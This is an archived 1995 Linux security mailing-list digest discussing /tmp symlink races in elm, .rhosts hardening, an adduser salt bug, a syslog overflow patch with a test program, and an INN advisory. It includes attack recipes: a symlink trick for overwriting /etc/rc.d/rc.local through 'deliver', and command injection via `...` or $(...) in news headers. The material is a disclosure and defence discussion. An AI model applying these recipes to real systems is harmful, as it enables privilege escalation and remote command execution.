elm to put it's temp mbox file into the users' home directory. This disables multiple elm invocations on different hosts with common home dir, but inthis case the mail spool is probably shared, too, and multiple elms aren't good anyway. Comments? Does anyone know if the new MIME extensions (elm-2.4pl24me?) changed anything in this respect? Lutz - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMEeVDU8rRJEuvpUdAQGfIwP6AqwuoDrknYEEtAg79ChjWjuCUnthkEKW q6BPKQYYkP6CwhCR8NY5sDpBxjI7//U5Lv+8sOyJJVFbjNR5DhSOURvZTdcLeuxH TbqYdhPMf+kg4lCDm/y0pkkZ+goo81IzptR5t1nJ7FRGuOu4OW05iABGSntWIHR7 79AA5epfYfc= =ijTN - -----END PGP SIGNATURE----- - -- Lutz Pre"sler Systemverwaltung -- Abt. Medizinische Statistik, Universit"at G"ottingen Humboldtallee 32, D-37073 G"ottingen, Tel.: +49(0551) 39-9774 FAX: -4995 [PGP-key:WWW&Keyserver] IRC:lp ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 1 Sep 1995 23:50:33 +0200 (MET DST) Subject: Re: selection summary The problem with tempfiles as I see it is that you can't be sure where the file is actually created unless you have made it. All proposals I've seen so far do create the file, and abort if they notice they have been spoofed. This may not always be enough. There are programs for which even an empty file has significance. One such beast is cron: if you have no allow file, but an empty deny file, every user is given access. Admittedly, being able to run cron jobs does not constitute a security breach by itself, and not many people will have crond running without either an allow or deny file... Off the top of my head, I can't think of a more serious example, but it serves to show the problem. Another issue may be denial of service attacks, where programs stop working when they recognize a lock file. Of course, removing the file after you notice you have been spoofed is an option, provided you can be sure you just created it, and nobody flips the symlink to /etc/passwd while you're doing this... Olaf PS: My comment about dip showing you arbitrary files is no longer true, as Jeff Uphoff and Perry F Nguyen have pointed out. dip-337n fixes this problem. - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: [email protected] (Kenneth J. Hendrickson) Date: Sat, 2 Sep 1995 06:23:27 -0500 (CDT) Subject: console security (was Re: problem with selection) Zygo Blaxell writes: >Console security really sucks on Linux. If anybody is sitting at the console they can do anything they want on any of the virtual console terminals anyway. In addition, there can be no security once access to physical hardware is possible. Why put effort into fixing what can't be fixed? - -- http://www-scf.usc.edu/~khendric [email protected], [email protected] "Prior planning must be done in advance." -- Ken Hendrickson N8DGN/5 ------------------------------ From: [email protected] (Panzer Boy) Date: 4 Sep 1995 13:11:58 -0400 Subject: Re: elm and /tmp/mbox.* Why oh why is ELM SUID root? What does it do that requires root access? It's SGID MAIL over here, and I have no complaints, and I'm trying to figure out why it's even that. [mod: The obvious alternative would be to have the mail drop directory mode 1777... Dunno how sendmail and smail react to forwarding statements in mailboxes not owned by the proper user --okir] - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: "Dragisa N. Duric" Date: Tue, 5 Sep 1995 07:20:52 +0200 (MET DST) Subject: Re: elm and /tmp/mbox.* On 4 Sep 1995, Panzer Boy wrote: > Why oh why is ELM SUID root? It is error. u-s. > What does it do that requires root access? It's SGID MAIL over here, and > I have no complaints, and I'm trying to figure out why it's even that. It is SGID mail because ELM needs write access to /var/spool/mail for locking purposes. > [mod: The obvious alternative would be to have the mail drop directory > mode 1777... Dunno how sendmail and smail react to forwarding > statements in mailboxes not owned by the proper user --okir] If i understand this correctly, there are some security holes with this approach. I don't know current mailer's behavior, but one of possible problems is in fact that everyone can create any nonexistent file in mail drop directory. For example, link to someones .rhosts or something like.. - -- dragisha ------------------------------ From: Malcolm Beattie Date: Tue, 5 Sep 1995 09:43:34 +0000 (BST) Subject: Re: console security (was Re: problem with selection) Kenneth J. Hendrickson writes: > > Zygo Blaxell writes: > >Console security really sucks on Linux. > > If anybody is sitting at the console they can do anything they want on > any of the virtual console terminals anyway. In addition, there can be > no security once access to physical hardware is possible. > > Why put effort into fixing what can't be fixed? Physical access to keyboard and display does not necessarily mean physical access to the machine itself. Some colleges here arrange for their Linux servers to be locked in a cupboard with only the display and keyboard cables sticking out. - --Malcolm - -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services [Mod: Let's try not to diverge off too far into the realm of how to make PC's physically secure; that's sort of outside the focus of Linux-specific security (though I admit that it is a valid issue for Linux). Discussions on how to improve console security and the like, assuming some sort of existing physical security such as the "locked-away" systems mentioned above, are more appropriate IMHO. - --Jeff.] ------------------------------ From: Jeff Uphoff Date: Tue, 5 Sep 1995 22:53:51 -0400 Subject: Linux adduser security bug [Forwarded e-mail from Mark Whitis] Forwarded on from a fellow that I know (personally) here. I have not looked into this myself yet... - ------- start of forwarded message (RFC 934 encapsulation) ------- From: [email protected] (Mark Whitis) To: [email protected] Subject: Linux adduser security bug Date: Tue, 5 Sep 95 22:22:44 -0400 While writing my own adduser program, I noticed a bug in the adduser program distributed with linux. It only generates 256 possible salt values instead of 4096. This makes it easier for programs like crack. It makes storage of preencrypted dictionaries for all possible salt values more feasable (of order 500mb for 256 salts). Since the security of unix encrypted passwords is already pretty marginal with the computing power readily availible today, a factor of 16 degradation is unacceptable. No diffs yet, since I am working on a different program but the appropriate lines from my program could replace those in adduser to fix the problem when I am done. - ------- end ------- ------------------------------ From: Joshua Cowan Date: Wed, 6 Sep 1995 02:19:54 -0500 Subject: Re: elm and /tmp/mbox.* [Mod: Please send all submissions to this list to the "linux-security@" address--not to the "owner-linux-security@" address (which is the Sender: address for outgoing posts, primarily for catching bounces and the like). Sending to the "owner-" address forces me to to resend the message to the proper address to initiate the approval mechanism and to preserve the From:, Message-Id:, etc., headers. Thanks! --Jeff.] >>>>> "Dragisa" == Dragisa N Duric writes: Dragisa> On 4 Sep 1995, Panzer Boy wrote: >> Why oh why is ELM SUID root? Dragisa> It is error. u-s. If, in fact, it is suid root, it is most definitely an error. Perhaps it is an older version of elm, in which case you will probably want to make sure that `arepdaemon' isn't still on the system (I think CERT issued a warning about this; in any case it is a big security hole). >> What does it do that requires root access? It's SGID MAIL over >> here, and I have no complaints, and I'm trying to figure out >> why it's even that. Dragisa> It is SGID mail because ELM needs write access to Dragisa> /var/spool/mail for locking purposes. >> [mod: The obvious alternative would be to have the mail drop >> directory mode 1777... Dunno how sendmail and smail react to >> forwarding statements in mailboxes not owned by the proper user >> --okir] Dragisa> If i understand this correctly, there are some security Dragisa> holes with this approach. I don't know current mailer's Dragisa> behavior, but one of possible problems is in fact that Dragisa> everyone can create any nonexistent file in mail drop Dragisa> directory. For example, link to someones .rhosts or Dragisa> something like.. -- dragisha I have the user's mail delivered to their respective home directories. This means that I neither have to make the mail spool directory world writable nor do I have to make any MUA's setgid mail (or mmdf). My MTA is Sendmail 8.7 using procmail as the local mailer program. I had to modify Pine to look in the user's home directory for the default INBOX, since it apparently doesn't use the ``MAIL'' environment variable (elm and emacs (VM) do) --- there may be an easier way, but not that I know of (I don't care for Pine, personally). I also modified the POP server accordingly. If enough people are interested, I can make snapshots of elm-2.4pl24me7a (patched to use ~/mbox.$USER, other little enhancements), mh-6.8.3 (I didn't build shared libs; at least one util is broken), pine3.91, qpopper-2.1.3 (_lots_ of enhancements & fixes (?) over version on SunSITE), and procmail-3.11pre3 sources available, perhaps as diffs against clean source trees. I can't make Sendmail 8.7 available, but it can be retrieved from ftp://ftp.cs.berkeley.edu/ucb/src/sendmail/.prerelease. I _can_ make my `sendmail.cf' available, or the m4 sources. All of these were built on a ELF (5.2.x) system. I think this is a good solution to the problem of how to handle local mail delivery, but please poke holes in it. ;-) - -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. ------------------------------ From: Marek Michalkiewicz Date: Thu, 7 Sep 1995 15:33:12 +0200 (MET DST) Subject: Re: Linux adduser security bug [Forwarded e-mail from Mark Whitis] > ------- start of forwarded message (RFC 934 encapsulation) ------- > From: [email protected] (Mark Whitis) > To: [email protected] > Subject: Linux adduser security bug > Date: Tue, 5 Sep 95 22:22:44 -0400 > > While writing my own adduser program, I noticed a bug in the adduser program > distributed with linux. It only generates 256 possible salt values instead > of 4096. This makes it easier for programs like crack. It makes [ I am cc'ing this to the author of the above message ] Why does adduser generate any salt values at all? Isn't passwd supposed to do this? I don't know about adduser, but all useradd programs I know of (from the shadow suite, and the GPL-ed one I am working on :) create new users with locked accounts ('!' in the password field) and it is necessary to run passwd (by root) to set initial password. Or does adduser run passwd and this is actually a problem with the passwd program? In which distribution? > storage of preencrypted dictionaries for all possible salt values more > feasable (of order 500mb for 256 salts). Since the security of > unix encrypted passwords is already pretty marginal with the > computing power readily availible today, a factor of 16 degradation > is unacceptable. Agreed, if it's of order 500MB for 256 salts, then it's of order 8GB for 4096 salts - not very much either. Computers are getting faster and hard drives are getting bigger all the time... We really need a proactive passwd program _and_ shadow passwords. I just started a complete rewrite of the shadow password suite (because it has too many bugs, design flaws like writing password files in place resulting in incomplete file if the program dies at the wrong time, and unclear copyright). It will be under the GPL (except some BSD code - I just almost ported login and su from FreeBSD), and it will support non-shadow passwords too. Don't hold your breath though - it may take a few months before I will need beta testers... Marek ------------------------------ End of linux-security-digest V1 #34 *********************************** linux-security-digest/1995/v01.n035100664 1767 1767 46270 6027043111 16051 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #35 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 17 September 1995 Volume 01 : Number 035 Re: elm and /tmp/mbox.* syslog(2), libc-4.7.4: Versions confuse me. my sentence [Forwarded e-mail from Randal L. Schwartz] Re: elm and /tmp/mbox.* security hole in deliver Re: syslog(2), libc-4.7.4: Versions confuse me. Re: elm and /tmp/mbox.* Re: syslog(2), libc-4.7.4: Versions confuse me. Re: elm and /tmp/mbox.* Wher to find minicom-1.71 source routing ---------------------------------------------------------------------- From: Tomasz Surmacz Date: Sun, 10 Sep 1995 23:12:04 +0200 (MET DST) Subject: Re: elm and /tmp/mbox.* > From: Lutz Pressler > Date: Sat, 2 Sep 1995 01:20:03 +0200 (MET DST) > Subject: Re: elm and /tmp/mbox.* > > I just wrote: > > >A quick kind of "fix" is to create for every user who has no .rhosts > >file an empty one (or to disable r-commands altogether). No. The .rhosts file is just *one* quick method of getting into user's account. If he has .rhosts file already you can attack him using thousands of other methods, provided you can create arbitrary files in user's home directory (.cshrc, .profile, .login, .logout (how many of you have a .logout file?)). Other choices are countless - it is impossible to thing of just everything. The only way is to correct this misbehaviour at the source - the elm program in this case. Tomasz - -- _________ (_ _' __) Tomasz R. Surmacz * Work:(071)202489, [email protected] | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ Home: [email protected] |__(____/ For PGP key finger [email protected] *----* irc: TomekS ------------------------------ From: Jakob Schiotz Date: Mon, 11 Sep 1995 10:48:47 -0500 Subject: syslog(2), libc-4.7.4: Versions confuse me. Hi Security Gurus! I am trying to defuse the syslog(2) bomb by installing libc version 4.7.4 as recently posted here, but I made the mistake of reading the documentation... :-) The release notes (release.libc-4.7.4) say that I need gcc 3.6.3 (Got that one), binutils 2.5.2l.17 (got 2.5.2.6), and ld.so 1.6.7 (got 1.6.5). So it looks like I should update binutils and ld.so. However the release notes for binutils (release.binutils-2.5.2l.17) say that I need libc-5.0.9 or higher, and that it's for ELF ! Also, the ld.so that I can find is version 1.7.3 - isn't that an ELF version? What should I do? Just install libc-4.7.4 (and pray to the Gods of Linux)? Or install install some/all of the dependencies? Or (shudder) migrate to ELF? Or just realise that sometimes fixing a security hole can do more damage than the hacker could possibly do :-) I hope this is the appropriate forum for asking this, and will appreciate any help. Jakob, - -- Jakob Schiotz ! Fax: +1 (314) 935 6219 Department of Physics ! Phone: +1 (314) 935 4968 Washington University ! Email: [email protected] St. Louis, MO 63130, USA ! WWW: http://nils.wustl.edu/schiotz.html ------------------------------ From: Jeff Uphoff Date: Mon, 11 Sep 1995 16:32:52 -0400 Subject: my sentence [Forwarded e-mail from Randal L. Schwartz] This is a sort of follow-up to my previous post announcing the conviction of Randal Schwartz for "computer crimes" related to his security "probing" [my term] at Intel. This is here strictly as an FYI on the case, now that the sentencing hearing has taken place. It is not really Linux-related, but rather shows, in some ways, how the "public" and corporations view and treat computer security issues in general. Please direct any follow-ups to the [email protected] mailing-list that is being run on a Majordomo server at that host. - ------- start of forwarded message (RFC 934 encapsulation) ------- From: "Randal L. Schwartz" To: [email protected], [email protected] Subject: my sentence Date: Mon, 11 Sep 1995 13:11:03 -0700 After a very grueling few hours, I am once again jacked in. Here's the results: Count 1, reduced to a misdemeanor, 5 years probation, 90 days jail to begin september 1, *1998*. However, 60 days before this date I can petition the court to demonstrate excellent behavior and rehabilitation, and they may dismiss the jailtime. Disclosure required (see below). Count 2, 2 years probation, 480 hours of community service, disclosure required (see below). Count 3, 2 years probation, 480 hours of community service (hours count for both counts 2 and 3, so it's 480 total, not 960). Disclosure required (see below). Restitution hearing still to be set. Intel is asking for an additional $9000 over the original $63000. Disclosure: I must not become either a contract employee or employee without my potential employer becoming fully aware of my conviction. I attend my "probation induction" meeting next week. Please do not ask me about any appeal plans at this point. - - -- Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095 Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying Email: Snail: (Call) PGP-Key: (finger [email protected]) Web: My Home Page! Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me - ------- end ------- ------------------------------ From: [email protected] (Panzer Boy) Date: 11 Sep 1995 12:13:43 -0400 Subject: Re: elm and /tmp/mbox.* Tomasz Surmacz ([email protected]) wrote: : > From: Lutz Pressler : > Date: Sat, 2 Sep 1995 01:20:03 +0200 (MET DST) : > Subject: Re: elm and /tmp/mbox.* : > : > I just wrote: : > : > >A quick kind of "fix" is to create for every user who has no .rhosts : > >file an empty one (or to disable r-commands altogether). As I just posted this on the big-linux list, though it is something important to remember. - ------------------------------------------------------------------------- As for the renaming of files, I guess you can learn strange things anyday. This should be noted somewhere so that people who are creating root owned ".rhosts" files in peoples directories to prevent them from using them, or similar ideas, knows about it. dhp:~panzer# id uid=0(root) gid=0(root) dhp:~panzer# touch file > id uid=405(panzer) gid=100(users) > ls -l file - -rw-r--r-- 1 root root 0 Sep 9 13:49 file > mv file file2 > ls -l file file2 ls: file: No such file or directory - -rw-r--r-- 1 root root 0 Sep 9 13:49 file2 - ------------------------------------------------------------------------- - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Alvaro Martinez Echevarria Date: Tue, 12 Sep 1995 09:49:30 +0200 Subject: security hole in deliver >> >> On 4 Sep 1995, Panzer Boy wrote: >> >> > [mod: The obvious alternative would be to have the mail drop directory >> > mode 1777... Dunno how sendmail and smail react to forwarding >> > statements in mailboxes not owned by the proper user --okir] >> >> If i understand this correctly, there are some security holes with this >> approach. I don't know current mailer's behavior, but one of possible >> problems is in fact that everyone can create any nonexistent file in mail >> drop directory. For example, link to someones .rhosts or something >> like.. >> Just one example: the last version of deliver I tried didn't test if mailboxes were symlinks before delivering mail. This allos you to overwrite any file on the system, given that you have write permission on /var/spool/mail and that /var/spool/mail/root doesn't exist. I symlinked /var/spool/mail/root to /etc/rc.d/rc.local and then made something like: hck@site:~$ deliver root < Date: Tue, 12 Sep 1995 10:29:44 +0200 (MET DST) Subject: Re: syslog(2), libc-4.7.4: Versions confuse me. Jakob Schiotz said: > The release notes (release.libc-4.7.4) say that I need gcc 3.6.3 (Got > that one), binutils 2.5.2l.17 (got 2.5.2.6), and ld.so 1.6.7 (got > 1.6.5). > > So it looks like I should update binutils and ld.so. However the > release notes for binutils (release.binutils-2.5.2l.17) say that I > need libc-5.0.9 or higher, and that it's for ELF ! Also, the ld.so > that I can find is version 1.7.3 - isn't that an ELF version? > > What should I do? Just install libc-4.7.4 (and pray to the Gods of > Linux)? Or install install some/all of the dependencies? Or > (shudder) migrate to ELF? Or just realise that sometimes fixing a > security hole can do more damage than the hacker could possibly do :-) I just installed /lib/libc.so.4.7.4 (only the binary, no include files or anything else), fixed utmp symlinks (blame the fsstnd people for changing the standard too often...) and ran ldconfig. The system is slackware 2.1 (gcc 2.5.8, libc 4.5.26). On another, much older box I had to upgrade /lib/ld.so and /sbin/ldconfig (to the ones from slackware 2.1). Both machines still seem to work :-). Marek ------------------------------ From: [email protected] (Martin Hargreaves) Date: Tue, 12 Sep 1995 19:27:07 +0100 Subject: Re: elm and /tmp/mbox.* >: > >A quick kind of "fix" is to create for every user who has no .rhosts >: > >file an empty one (or to disable r-commands altogether). [Important note that users can move files if they own the directory] I have a script that creates .forward, .rhosts, .netrc as d--------- in the users homedir. A cron job checks every night for .rhosts _files_ (-type f) and mails me or raises a low level alert. I can then check with the user what they are doing and why they need one of these files.... Regards, Martin. ######################################################################## # Martin Hargreaves Contract Unix System Administrator # # ([email protected]) Unix & Network Security, WWW # # Computational Chemistry # ######################################################################## [Mod: Another trick would be to create them as zero-length files and then use 'chattr' to make them immutable. Only root can change the immutable attribute, thus the user can make no changes (no links, renames, deletions, or writes--even if they own the file and/or directory) without root's permission. --Jeff] ------------------------------ From: Cy Schubert Date: Tue, 12 Sep 1995 07:20:21 -0700 Subject: Re: syslog(2), libc-4.7.4: Versions confuse me. [mod: quoting trimmed. --okir] > Hi Security Gurus! > > I am trying to defuse the syslog(2) bomb by installing libc version > 4.7.4 as recently posted here, but I made the mistake of reading the > documentation... :-) > I did too and decided to customize the installation instead. Since I work as a S/A and get called at all hours of the night, I need my PC to dial in to work at a moments notice to fix any problems (it beats the 1/2 drive in to work to fix). My solution was to retrofit the patch back to libc 4.6.27 until I decide to purchase an upgraded version of the Slackware CD. It's been running on my system since 01 Sept. Prior to installing the patch the test program would abort with a segmentation violation, now it works. Following is my retrofitted patch for anyone who wishes to continue using libc 4.6.27 - --- syslog.c~ Tue Aug 29 22:14:25 1995 +++ syslog.c Tue Aug 29 22:14:25 1995 @@ -133,19 +133,20 @@ if (LogTag) { *p++ = ':'; *p++ = ' '; } /* Substitute error message for %m. */ { - - register char ch, *t1, *t2; + register char ch, *t1; char *strerror(); - - for (t1 = fmt_cpy; ch = *fmt; ++fmt) + for (t1 = fmt_cpy; (ch = *fmt) != '\0' && t1 #include static char x[6]= {'H','E','L','L','O',0}; void main() { char buf[4096]; int ct; for(ct=0;ct<4095;ct++) buf[ct]='X'; openlog("testprog",LOG_PID, LOG_AUTHPRIV); printf("Check snprintf\n"); snprintf(x,3,buf); if(x[4]!='O') fprintf(stderr,"snprintf is broken\n"); printf("Testing syslog\n"); syslog(LOG_ERR|LOG_USER,buf); closelog(); } I hope this helps. Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." ------------------------------ From: Marek Michalkiewicz Date: Tue, 12 Sep 1995 10:56:53 +0200 (MET DST) Subject: Re: elm and /tmp/mbox.* Tomasz Surmacz: > No. The .rhosts file is just *one* quick method of getting into user's > account. If he has .rhosts file already you can attack him using > thousands of other methods, provided you can create arbitrary files in > user's home directory (.cshrc, .profile, .login, .logout (how many of > you have a .logout file?)). Other choices are countless - it is > impossible to thing of just everything. The only way is to correct this > misbehaviour at the source - the elm program in this case. This is a more general problem. Any program creating files in /tmp (not just elm) can cause the same problem if someone knows the name of temp file in advance and creates a symlink under that name. It would be nice to have a way to prevent creating symlinks in /tmp. The setuid bit on directories is not used for anything - maybe it could be used for that? If it is set, no one except root and the owner of the directory can create symlinks in it. This works even for very old programs which don't know anything about symlinks and lstat(). It shouldn't be too hard to implement in the kernel. Comments? Does anyone know what elvis (/usr/bin/vi on most Linux systems) does when creating its temp files? It may have the same problem... Marek [mod: elvis (and nvi) use the pid appended to a fixed basename. Same goes for elm when composing mail, countless shell scripts, and probably many more. It seems more and more unlikely to me that the `safe open' really flies as long as scripts do a `cat > $TMPDIR/art$$'. --okir] ------------------------------ From: Aleph One Date: Sun, 17 Sep 1995 00:18:00 -0500 (CDT) Subject: Wher to find minicom-1.71 As someone pointed out to me I did not include where to find minicom 1.71. In the alert. Sorry this was an oversight. You can find it in sunsite.unc.edu under /pub/Linux/apps/comm/ or one of its mirros. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ------------------------------ From: Linas Vepstas Date: Sat, 16 Sep 95 14:57:36 -500 Subject: source routing Hi, This is a kind of newbie question, but ... in /var/adm/messages, I am starting to see a whole bunch of messages such as kernel: ICMP: 143.166.213.152: Source Route Failed Why? what do these messages mean? I did a traceroute 143.166.213.152 and note that traceroute starts reporting an "infinite loop" at some point (typically 20 or more hops away). By "infinite loop" I mean that the same router starts showing up over and over again, with no appearent forward progress of the packet. What does this mean?? Finally -- the route taken appears to be very odd. I live in Austin, Texas, yet here is part of the packets path 4 Aus1-t1/s0.hou1.tlc.net (204.157.152.2) 33.878 ms 37.229 ms 33.752 ms 5 net99-hous-1-s0/T1.net99.net (204.157.1.69) 40.499 ms 35.704 ms 34.084 ms 6 mae-e-dc-1.Net99.Net (204.157.0.133) 78.716 ms 85.111 ms 91.283 ms 7 cpe2.Washington.mci.net (192.41.177.181) 89.399 ms 84.709 ms 85.065 ms 8 border2-hssi4-0.Washington.mci.net (204.70.57.9) 102.276 ms 95.192 ms 83.993 ms 9 core-fddi-1.Washington.mci.net (204.70.3.1) 104.727 ms 87.206 ms 90.597 ms 10 core2-aip-4.Washington.mci.net (204.70.1.74) 148.77 ms 178.611 ms 232.062 ms 11 core1-hssi-3.Greensborough.mci.net (204.70.1.129) 111.588 ms 104.393 ms 97.474 ms 12 core2-hssi-3.Atlanta.mci.net (204.70.1.125) 135.659 ms * 102.321 ms 13 core1-hssi-2.Dallas.mci.net (204.70.1.114) 121.311 ms 123.483 ms 140.983 ms 14 core-hssi-3.Houston.mci.net (204.70.1.122) 153.733 ms 149.494 ms 152.808 ms 15 border1-fddi-0.Houston.mci.net (204.70.2.98) 152.357 ms 150.209 ms 143.97 ms 16 * sesquinet.Houston.mci.net (204.70.36.6) 129.659 ms 148.644 ms 17 HOU4-F0.SESQUI.NET (192.67.13.89) 158.969 ms 170.033 ms 151.709 ms 18 HOU1-F20.SESQUI.NET (128.241.200.81) 149.937 ms 165.028 ms 152.638 ms 19 AU1-S1.SESQUI.NET (128.241.9.130) 164.5 ms 155.816 ms 157.871 ms 20 DELL-S0.SESQUI.NET (128.241.4.162) 161.604 ms 179.101 ms 191.744 ms Now, I'm wildly guessing that DELL-S0 is a machine in Austin Texas, home of Dell computer. And I'm wildly guessing that AU1-S1 is in Austin as well. And that HOU1-F20 is in Houston, Texas. And, with some more guessing, my packets went through Dallas, TX, Greensborough, North Carolina, Atlanta Georgia, and Washington DC. So it would seem my packets left austin, went to houston, bounced around the country for a while, and finally came back to austin via houston. (Is that why my internet provider charges those fees?) Seriously, though -- should I assume that someone has a packet sniffer installed on one of these machines, and is listening to everything I say? Should I be worried for any reason? Should I be disabling something in my kernel? Is this what happens when you don't ignore ICMP redirect messages? Inquiring minds want to know ... - --linas ------------------------------ End of linux-security-digest V1 #35 *********************************** linux-security-digest/1995/v01.n036100664 1767 1767 47617 6027615360 16073 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #36 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 19 September 1995 Volume 01 : Number 036 .rhosts summary Re: source routing Re: source routing Problem with INN 1.4sec Re: elm and /tmp/mbox.* Re: source routing Re: elm and /tmp/mbox.* Problem with /dev/ttyp* ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Sun, 17 Sep 1995 18:08:36 +0200 (MET DST) Subject: .rhosts summary Hi all, There have been a number of follow-ups to the discussion on how make sure users don't use rhosts files. To bring this discussion to an end, here's a summary of the posts. I hope this puts the issue to rest; please send any comments to the respective posters. Olaf - ------------------------------------------------------------------ Martin Hargreaves had suggested in an earlier message that admins creates directories named .rhosts, .netrc, etc, and check regularly whether they have been replace by regular files (or symlinks). Richard Ellis : : For those listening who may not immediately grasp the subtlety of why this : example occurs, it is because the ability to change the name of a file is : controlled by the ownership and permissions on the directory that contains : the file name, not by the ownership and permissions of the file. Changing a : file name only involves writing to the directory which contains the name, : not writing to the file. : : In the example above, panzer had write access to the ~/panzer directory, and : therefore was allowed to change the name of the file, even though the file : was owned by root. Jon Hamilton : : You're still going to lose if you don't put at least one file that the : user can't remove in that directory. [example deleted] : A much better solution is to get a rshd that you can tell to ignore .rhosts : files. Not allowing .forward files is a bit anal; again, if you're worried : about people piping mail to programs, turn it off in sendmail. Matt : : Comment out rservices out of inetd, the damage is already done. As, : directories mean nothing also. Another, for some people cryptic, example: [example shows how a .rhosts directory is renamed, and a file is created containing `+ +' instead.] Daniel Pewzner : : Why not just run rlogind and rshd with -l from inetd.conf. Wouldn't that : cover it? Alex Yuriev : : One can always turn on a t-bit to prevent users from messing around with : root's files. [Note: unfortunately, this does not work, because users can still turn off the t bit on their home directories.] - ------------------------------------------------------------------ Marek Michakiewicz had suggested to re-use the setuid bit on directories as a flag that tells the kernel not to allow the creation of symlinks in this directory. Tomasz Surmacz : : It is [used for something else]. At least on SunOS/Solaris. : If the directory is set with drwxr-xr-x permissions, all files created : there are created with System V syntax, ie. the group owner will be the : same as primary group of the user creating files. If the s bit is set : (drwxr-sr-x) files are created with the BSD behaviour - ie. the group : owner of file will be the same as the group owner of the directory. : : But it does not work for tmpfs file system (and /tmp is usually : tmpfs), so maybe it could be used this way? - ------------------------------------------------------------------ - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: Ryan Tucker Date: Sun, 17 Sep 1995 12:18:20 -0500 (CDT) Subject: Re: source routing [mod: please let's keep this focused on the source route issue. Routing policy on the Internet is a bit off-topic. --okir] Linas Vepstas splattered this onto /dev/hda4: > some point (typically 20 or more hops away). By > "infinite loop" I mean that the same router starts > showing up over and over again, with no appearent > forward progress of the packet. What does this > mean?? It means that the router is grossly misconfigured. Last time I saw a problem like that, it turned out that a run of fiber was cut. The time before that? Reconfigured with a direct lightning hit. > So it would seem my packets left austin, went to houston, > bounced around the country for a while, and > finally came back to austin via houston. (Is that > why my internet provider charges those fees?) Typical. The Internet is not geographically-based. For example, a trip of about 4 inches between two machines in my office goes through Des Moines, Kansas City, Willow Springs, Denver, back to Des Moines, and to my other machine. > Seriously, though -- should I assume that someone > has a packet sniffer installed on one of these > machines, and is listening to everything I say? It's always possible. If anything, the packets not getting to your destination lessens the possibility slightly. > Should I be worried for any reason? Should I be > disabling something in my kernel? Is this what > happens when you don't ignore ICMP redirect messages? I get it here. Lots of weird errors in syslog. Sep 17 12:08:41 crasher2 icmpinfo: ICMP_Dest_Unreachable[--Sub-Type-OUT-OF-RANGE--] < 128.241.4.162 [DELL-S0.SESQUI.NET] > 143.166.213.152 sp=47818 dp=33478 seq=0x00140000 sz=36(+20) Sep 17 12:08:44 crasher2 kernel: ICMP: 143.166.213.152: Source Route Failed. Nothing looks excessively nasty, since (i may [and probably am] be wrong) the Source Route Failed message seems to come from 143.166.213.152, the broked router. At least it wasn't misconfigured with a stray lightning bolt. - -- - ---Ryan Tucker ttgcitn.com owner - [email protected] nether.net irc administrator - -http://www.netins.net/showcase/rtucker netins.net user development group NetINS 28.8kb/sec 1-800 dialup -- 15 cents a minute -- 1-800-546-6587 ------------------------------ From: Jon Lewis Date: Sun, 17 Sep 1995 14:00:27 -0400 (EDT) Subject: Re: source routing On Sat, 16 Sep 1995, Linas Vepstas wrote: > Finally -- the route taken appears to be very odd. > I live in Austin, Texas, yet here is part of the > packets path > > So it would seem my packets left austin, went to houston, > bounced around the country for a while, and > finally came back to austin via houston. (Is that > why my internet provider charges those fees?) That's the way the internet works. If I do a traceroute from a commercial provider in town to my system on the UF campus (a mere 5 miles or so by car) the packets go from the commercial provider to Miami, Virginia, Washington (DC I assume), one of the Carolinas, and Georgia, before finally coming back to Gainesvill, FL. And thats on a good day when there are no router outages. On a bad day, the packets bounce through Texas before coming back. Speaking of source routes though, is there any reason uu.net's news server would be trying to send source routed packets to a news server it feeds? - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ ------------------------------ From: [email protected] (Olaf Kirch) Date: Mon, 18 Sep 1995 13:02:22 +0200 (MET DST) Subject: Problem with INN 1.4sec - -----BEGIN PGP SIGNED MESSAGE----- Hi all, there's a problem with INN1.4sec as distributed on sunsite and probably a number of Linux distributions. Control messages are parsed by shell scripts, which (at least for some shells) allow remote users to execute arbitrary commands on your news host. I tested this problem with bash 1.13.1-CWRU; other shells may or may not allow this kind of attack. The problem involves putting `...` or $(...) commands in certain header fields (Control, From, and Subject), and possibly the body (newgroup messages). According to Rich Salz, this has been discussed on Usenet already; the suggested fix is to use tr to filter out unwanted characters. Please test out the patch attached below; if you find any problem with it, please mail me as soon as possible. Otherwise, I will post a message to linux-alert concerning this in a day or two. (The patch also adds a missing sed filter for mailx tilde escapes). A second problem I came across has to do with rnews. If you have rnews installed, users may execute any commands by faking certain types of news batches. rnews feeds these batches to small shell scripts below LIBDIR/bin/rnews for unpacking, passing on the entire environment given to it by the calling process--including PATH and IFS. The sample c7unbatcgh script included in the distribution is not aware of this situation, and executes `decode | /bin/compress -d'. A possible fix for this may be to insert the following lines at the top of these scripts: : IFS=" " : 